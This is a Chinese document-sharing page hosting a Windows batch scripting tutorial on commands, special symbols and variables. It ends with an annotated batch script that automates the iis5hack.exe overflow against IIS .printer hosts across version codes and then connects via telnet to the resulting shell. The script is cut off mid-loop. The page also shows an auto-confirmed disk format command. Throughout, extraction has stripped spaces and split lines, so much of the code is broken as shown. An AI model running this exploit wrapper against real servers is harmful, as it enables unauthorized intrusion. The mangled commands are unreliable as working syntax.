批处理.docx
- 文档编号:6622369
- 上传时间:2023-01-08
- 格式:DOCX
- 页数:12
- 大小:25.48KB
批处理.docx
《批处理.docx》由会员分享,可在线阅读,更多相关《批处理.docx(12页珍藏版)》请在冰豆网上搜索。
批处理
WINDOWS批处理命令详解
批处理命令详解
该教程一共分为4大部分,第一部分是批处理的专用命令,第二部分是特殊的符号与批处理,第三部分是批处理与变量,第四部分是完整案例。
第一部分:
批处理的专用命令
批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。
这些命令统称批处理命令,下面我就来给大家介绍一下批处理的命令。
1、 REM
REM是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。
例:
REM你现在看到的就是注解,这一句将不会被执行。
在以后的例子中解释的内容都REM会放在REM后面。
请大家注意。
2、 ECHO
ECHO是一个回显命令主要参数有OFF和ON,一般用ECHOmessage来显示一个特定的消息。
例:
Echooff
Rem以上代表关闭回显即不显示所执行的命令
Echo这个就是消息。
Rem以上代表显示“这就是消息”这列字符
执行结果:
C:
\\>ECHO.BAT
这个就是消息。
3、 GOTO
GOTO即为跳转的意思。
在批处理中允许以“:
XXX”来构建一个标号然后用GOTO:
标号直接来执行标号后的命令。
例
:
LABEL
REM上面就是名为LABEL的标号。
DIRC:
\\
DIRD:
\\
GOTOLABEL
REM以上程序跳转标号LABEL处继续执行。
4、CALL
CALL命令可以在批处理执行过程中调用另一个批处理,当另一个批处理执行完后再继续执行原来的批处理。
例:
批处理2.BAT内容如下:
ECHO这就是2的内容
批处理1.BAT内容如下:
ECHO这是1的内容
CALL2.BAT
ECHO1和2的内容全部显示完成
执行结果如下:
C:
\\>1.BAT
这是1的内容
这就是2的内容
1和2的内容全部显示完成
5、PAUSE
PAUSE停止系统命令的执行并显示下面的内容。
例:
C:
\\>PAUSE
请按任意键继续...
6、 IF
IF条件判断语句,语法格式如下:
IF[NOT]ERRORLEVELnumbercommand
IF[NOT]string1==string2command
IF[NOT]EXISTfilenamecommand
说明:
[NOT]将返回的结果取反值即“如果没有”的意思。
ERRORLEVEL是命令执行完成后返回的退出值
Number退出值的数字取值范围0~255。
判断时值的排列顺序应该又大到小。
返回的值大于或等于指定的值时条件成立。
string1==string2string1和string2都为字符的数据,英文字符的大小写将看做不同,这个条件中的等于号必须是2个(绝对相等),条件想等后即执行后面的command
EXISTfilename为文件或目录存在的意思。
IFERRORLEVEL这条语句必须放在某一个命令后面。
执行命令后由IFERRORLEVEL来判断命令的返回值。
例:
1、 IF[NOT]ERRORLEVELnumbercommand
检测命令执行完后的返回值做出判断。
echooff
dirz:
rem如果退出代码为1(不成功)就跳至标题1处执行
IFERRORLEVEL1goto1
rem如果退出代码为0(成功)就跳至标题0处执行
IFERRORLEVEL0goto0
:
0
echo命令执行成功!
Rem程序执行完毕跳至标题exit处退出
gotoexit
:
1
echo命令执行失败!
Rem程序执行完毕跳至标题exit处退出
gotoexit
:
exit
Rem这里是程序的出口
2、 IFstring1==string2command
检测当前变量的值做出判断
ECHOOFF
IF%1==2gotono
Echo变量相等!
Gotoexit
:
no
echo变量不相等
gotoexit
:
exit
大家可以这样看效果C:
\\>test.bat数字
3、 IF[NOT]EXISTfilenamecommand
发现特定的文件做出判断
echooff
IFnotEXISTautoexec.batgoto1
echo文件存在成功!
gotoexit
:
1
echo文件不存在失败!
gotoexit
:
exit
这个批处理大家可以放在c盘和d盘分别执行看看效果。
7、 FOR
FOR这个命令比较特殊是一个循环执行命令的命令,同时FOR的循环里面还可以套用FOR在进行循环。
这篇我们介绍基本的用法就不做套用的循环了,后面再来讲解套用的循环。
在批处理中FOR的命令如下:
FOR[%%c]IN(set)DO[command][arguments]
在命令行中命令如下:
FOR[%c]IN(set)DO[command][arguments]
常用参数:
/L该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5)将产生序列12345,(5,-1,1)将产生序列(54321)。
/D如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
/F从指定的文件中读取数据作为变量
eol=c -指一个行注释字符的结尾(就一个)
skip=n -指在文件开始时忽略的行数。
delims=xxx -指分隔符集。
这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。
这会导致额外变量名称的分配。
m-n格式为一个范围。
通过nth符号指定mth。
如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
usebackq -指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在filenameset中使用双引号扩起文件名称。
下面来看一个例子:
FOR/F"eol=;tokens=2,3*delims=,"%iin(myfile.txt)do@echo%i%j%k
会分析myfile.txt中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给for程序体;用逗号和/或空格定界符号。
请注意,这个for程序体的语句引用%i来取得第二个符号,引用%j来取得第三个符号,引用%k来取得第三个符号后的所有剩余符号。
对于带有空格的文件名,您需要用双引号将文件名括起来。
为了用这种方式来使用双引号,您还需要使用usebackq选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。
%i专门在for语句中得到说明,%j和%k是通过tokens=选项专门得到说明的。
您可以通过tokens=一行指定最多26个符号,只要不试图说明一个高于字母\'z\'或\'Z\'的变量。
请记住,FOR变量名分大小写,是通用的;而且,同时不能有52个以上都在使用中。
您还可以在相邻字符串上使用FOR/F分析逻辑;方法是,用单引号将括号之间的filenameset括起来。
这样,该字符串会被当作一个文件中的一个单一输入行。
最后,您可以用FOR/F命令来分析命令的输出。
方法是,将括号之间的filenameset变成一个反括字符串。
该字符串会被当作命令行,传递到一个子CMD.EXE,其输出会被抓进内存,并被当作文件分析。
因此,以下例子:
FOR/F"usebackqdelims=="%iIN(`set`)DO@echo%i
会枚举当前环境中的环境变量名称。
以下列举一个简单的例子,他将说明参数/L和没有参数的区别:
删除文件1.TXT2.TXT3.TXT4.TXT5.TXT
例:
ECHOOFF
FOR/L%%FIN(1,1,5)DODEL%%F.TXT
或
FOR%%FIN(1,2,3,4,5)DODEL%%F.TXT
以上2条命令执行的结果都是一样的如下:
C:
\\>DEL1.TXT
C:
\\>DEL2.TXT
C:
\\>DEL3.TXT
C:
\\>DEL4.TXT
C:
\\>DEL5.TXT
8、 SETLOCAL
开始批处理文件中环境改动的本地化操作。
在执行SETLOCAL之后
所做的环境改动只限于批处理文件。
要还原原先的设置,必须执
行ENDLOCAL。
达到批处理文件结尾时,对于该批处理文件的每个
尚未执行的SETLOCAL命令,都会有一个隐含的ENDLOCAL被
执行。
例:
@ECHOOFF
SETPATH /*察看环境变量PATH
PAUSE
SETLOCAL
SETPATH=E:
\\TOOLS/*重新设置环境变量PATH
SETPATH
PAUSE
ENDLOCAL
SETPATH
从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。
被设置成了E:
\\TOOLS后显示为E:
\\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。
但这个设置只在该批处理运行的时候有作用。
当批处理运行完成后环境变量PATH将会还原。
9、 SHIFT
SHIFT命令可以让在命令上的的命令使用超过10个(%0~%9)以上的可替代参数例:
ECHOOFF
ECHO%1%2%3%4%5%6%7%8%9
SHIFT
ECHO%1%2%3%4%5%6%7%8%9
SHIFT
ECHO%1%2%3%4%5%6%7%8%9
执行结果如下:
C:
:
\\>SHIFT.BAT1234567891011
123456789
2345678910
34567891011
以上就是基于WIN2000下的9个批处理命令。
第二部分:
特殊的符号与批处理
在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。
1、 符号(@)
@在批处理中的意思是关闭当前行的回显。
我们从上面知道用命令echooff可以关掉整个批处理的命令回显但却不能不显示echooff这个命令。
现在我们在这个命令前加上@这样echooff这一命令就被@关闭了回显从而达到所有命令均不回显得要求
2、 符号(>)
>的意思是传递并覆盖。
他所起的作用是将运行后的回显结果传递到后面的范围(后面可是文件也可是默认的系统控制台)例:
文件1.txt的文件内容为:
1+1
使用命令c:
\\>dir*.txt>1.txt
这时候1.txt的内容如下
驱动器C中的卷没有标签。
卷的序列号是301A-1508
C:
\\的目录
2003-03-1114:
04 1,005FRUNLOG.TXT
2003-04-0416:
38 18,598,494log.txt
2003-04-0417:
02 51.txt
2003-03-1211:
43 0aierrorlog.txt
2003-03-3000:
35 30,571202.108.txt
5个文件18,630,070字节
0个目录1,191,542,784可用字节
>将命令执行的结果覆盖了原始的文件内容。
在传递给控制台的时候程序将不会有任何回显(注意:
这里的回显跟echooff关掉的回显不是同一概念。
Echooff关掉的是输入命令的回显,这里的回显是程序执行中或后的回显)例:
C:
\\>dir*.txt>nul
程序将没有任何显示也不会产生任何痕迹。
3、 符号(>>)
符号>>的作用与符号>相似,但他们的区别在于>>是传递并在文件末尾追加>>也可将回显传递给控制台(用法同上)例:
文件1.txt内同为:
1+1
使用命令c:
\\>dir*.txt>>1.txt
这时候1.txt的内容如下
1+1
驱动器C中的卷没有标签。
卷的序列号是301A-1508
C:
\\的目录
2003-03-1114:
04 1,005FRUNLOG.TXT
2003-04-0416:
38 18,598,494log.txt
2003-04-0417:
02 51.txt
2003-03-1211:
43 0aierrorlog.txt
2003-03-3000:
35 30,571202.108.txt
5个文件18,630,070字节
0个目录1,191,542,784可用字节
>>将命令执行的结果覆加在了原始的文件内容后面。
4、 符号(|)
|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。
例:
C:
\\>dirc:
\\|find"1508"
卷的序列号是301A-1508
以上命令的意思为查找c:
\\的所有并发现1508字符串。
Find的用法请用find/?
自行查看
在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的
echoy|fornata:
/s/q/v:
system
用过format命令的人都知道format有一个交互对化过程,要使用者输入y来确定当前的命令是否被执行。
在这个命令前加上echoy并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的(这条命令有危害性,测试的时候请谨慎)
5、 符号(^)
^是对特殊符号>、<、&、的前导字符。
在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。
例:
c:
\\>echotest^>1.txt
test>1.txt
从上面可以看出并没有把test写入文件1.txt而是将test>1.txt当字符串显示了出来。
这个符号在远程构建批处理的时候很有效果。
6、 符号(&)
&符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败将不影响第2个命令的执行。
例:
c:
\\>dirz:
\\&diry:
\\&dirc:
\\
以上的命令将会连续显示z:
y:
c:
盘内的内容不理会该盘符是否存在。
7、 符号(&&)
&&符号也是允许在一行中使用2个以上不同的命令,当第一个命令执行失败后后续的命令将不会再被执行。
例:
c:
\\>dirz:
\\&&diry:
\\&&dirc:
\\
以上的命令将会提示检查是否存在z:
盘如果存在则执行,如果不存在则停止执行所有的后续命令
8、 符号("")
""符号允许在字符串中包含空格。
进入一个特殊的目录可以用如下方法例:
c:
\\>cd“ProgramFiles”
c:
\\>cdprogra~1
c:
\\>cdpro*
以上方法都可以进入ProgramFiles目录
9、 符号(,)
符号相当于空格。
在某些特殊的情况下可以用,来代替空格使用。
例:
c:
\\>dir,c:
\\
10、 符号(;)
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。
如执行过程中发生错误则只返回错误报告但程序还是会继续执行。
例:
DIRC:
\\;D:
\\;E:
\\F:
\\
以上的命令相当于
DIRC:
\\
DIRD:
\\
DIRE:
\\
DIRF:
\\
当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。
在批处理中适当的引用变量将会使你所编制的程序应用面更广。
批处理每次能处理的变量从%0~%9共10个。
其中%0默认给批处理的文件名使用。
除非在使用SHIFT命令后%0才能被%1所替代。
引用shift命令的例子如果把%1前面多加上一个%0那么结果如下:
C:
:
\〉SHIFT.BAT1234567891011
SHIFT.BAT123456789
12345678910
234567891011
系统是如何区分每个变量的呢,系统区分变量的规则为字符串中间的空格,即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。
如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。
例:
批处理内容为:
ECHO%1
ECHO%2
ECHO%3
输入命令:
C:
\〉TEST“ProgramFiles”ProgramFiles
ProgramFiles
Program
Files
在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢?
在系统中还有一种变量称之为环境变量(使用SET命令可以查看当前系统的环境变量)如当前系统目录是%windir%或%SystemRoot%等。
当同时使用的参数超过10个的时候,我们可以把某些在后面的程序中还要调用的变量保存为环境变量。
具体用法如SETA=%1这样我们就命名了一个新的环境变量A在调用变量A的时候要%A%这样调用,环境变量不受SHIFT命令影响。
如果要改变一个环境变量需要重新对其设置才能改变。
当然也可以进行变量与变量之间的传递来达到目的。
下面我们来看一个例子,批处理如下:
ECHOOFF
SETPASS=%1
SHIFT
SETPASS1=%1
SHIFT
ECHO%PASS%%PASS1%%1%2%3%4%5%6%7%8%9
SHIFT
ECHO%PASS%%PASS1%%9
SETPASS=%PASS1%变量的传递
SETPASS1=%9
SHIFT
ECHO%PASS%%PASS1%%9
使用命令:
C:
\〉TESTAB&n
bsp;345678910KL
AB345678910K注意:
这一行显示了11个变量
ABL在使用了3次SHIFT之后%9变成了L
BL变量的传递后的结果
第四部分:
完整案例
以上就是批处理的一些用法。
现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理,看看他们是怎么运作的。
这里我将列举三个例子来详细分析,为了保持程序的完整我的注释会加在/*后面。
例一
这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。
用到的程序有iis5hack.exe和系统自带的telnet.exe。
iis5hack的命令格式为:
iis5hack〈目标ip〉〈目标端口〉〈目标版本〉〈溢出连接端口〉目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为目标ip(开始版本号)〉开始版本号可有可无。
程序如下。
@echooff/*关闭命令回显
if"%1%"==""gotohelp/*判断%1是否为空,%1为目标ip
if"%2%"=="1"goto1/*判断%2是否为1,为1则跳转标志1
if"%2%"=="2"goto2/*%2为开始版本号,如果没有设置则
if"%2%"=="3"goto3/*如果存在则从匹配的地方开始执行
if"%2%"=="4"goto4
if"%2%"=="5"goto5
if"%2%"=="6"goto6
if"%2%"=="7"goto7
if"%2%"=="8"goto8
ifnotEXISTiis5hack.exegotofile/*没有发现iis5hack.exe就执行标志file段内容
ping%1-n1|find"Received=1"/*ping目标1次,从结果中发现Received=1
iferrorlevel1gotoerror/*如果返回代码为1则执行error段(代码1为没有发现0为发现并成功执行)
iis5hack%180988|find"good"/*开始溢出目标端口80系统代码9溢出后连接端口88在执行结果中发现字符串”good”(溢出成功后才会有字符串good)
ifnoterrorlevel1gototelnet/*如果没有错误代码1(溢出成功)就执行telnet段的内容。
echo操作系统类型9失败!
/否则显示这一句
:
8/*以下代码内容参照上面
iis5hack%180888|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型8失败!
:
7
iis5hack%180788|find&
nbsp;"good"
ifnoterrorlevel1gototelnet
echo操作系统类型7失败!
:
6
iis5hack%180688|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型6失败!
:
5
iis5hack%180588|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型5失败!
:
4
iis5hack%180488|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型4失败!
:
3
iis5hack%180388|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型3失败!
:
2
iis5hack%180288|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型2失败!
:
1
iis5hack%180188|find"good"
ifnoterrorlevel1gototelnet
echo操作系统类型1失败!
:
0
iis5hack%180088|find"good"
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 批处理